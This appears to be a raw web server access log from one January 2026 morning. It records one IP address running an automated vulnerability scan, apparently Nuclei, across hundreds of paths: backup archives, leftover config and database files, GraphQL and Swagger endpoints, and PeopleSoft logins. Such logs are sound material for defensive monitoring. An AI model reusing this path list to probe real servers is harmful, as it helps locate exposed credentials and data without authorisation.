[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_ucenter.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/graphql/schema.xml HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //swagger-ui/swagger-ui-standalone-preset.js HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CCHIPRD_2/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /208.139.7z HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.yml.orig HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //F.html HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database/app.sqlite HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //textpattern/config.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/graphql/schema.yaml HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //swagger-ui/swagger-ui/swagger-ui-bundle.js HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/applyuth/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /208.7z HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.xz HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database/app.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/common.inc.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //frost.txt HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/playground HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //webjars/swagger-ui/swagger-ui-bundle.js HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.7z HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927581716 HTTP/1.1" -
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.zip HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database/database.db HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/subscriptions HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //-.txt HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/database.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.inc.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //webjars/swagger-ui/index.html HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.7z HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CAREERS/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.z HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database/database.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3 HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //!.txt HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.old.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/system.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/heprod_5/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.Z HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.7z HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/altair HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.inc.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //manager/includes/config.inc.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/saprod/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.tar.z HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.7z HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.ini.orig HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/api/graphql HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hr857prd_er/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.tgz HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.7z HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/explorer HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CHUMPRDM/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.db HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.7z HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //conn.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/graph HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927585131 HTTP/1.1" -
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HR92PRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.bk HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.jar HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.7z HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //database.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/graphiql HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/database.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/cangate_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.sqlite HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.7z HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db_config.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/graphiql.css HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/ihprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/system.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.7z HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.inc.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/graphiql.js HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psc/ps/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //zb_users/c_option.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.7z HTTP/1.1" 196
[09/Jan/2026:10:55:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/config.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/graphiql.min.css HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/class/config.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.7z HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csperf/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/graphiql.min.js HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.7z HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/FMPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/config/config.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/graphiql.php HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.7z HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/sql_config.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //default.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/graphiql/finland HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hcmprdfp/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.7z HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/bbscache/config.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //main.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/graphql HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRODASP/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.yml.bk HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.7z HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //settings.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/graphql-explorer HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/guest/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.7z HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //header.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/graphql.php HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:55:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CSPRD_PUB/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.inc.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.7z HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //footer.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/graphql/console HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.sql.z HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/LHCGWPRD_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.old.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.7z HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //login.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/graphql/schema.json HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CCHIPRD_2/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //manager/includes/config.inc.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.7z HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //404.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.war HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/graphql/schema.xml HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/applyuth/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.ini.bk HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.7z HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.tar HTTP/1.1" 196
[09/Jan/2026:10:55:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-login.php.orig HTTP/1.1" 196
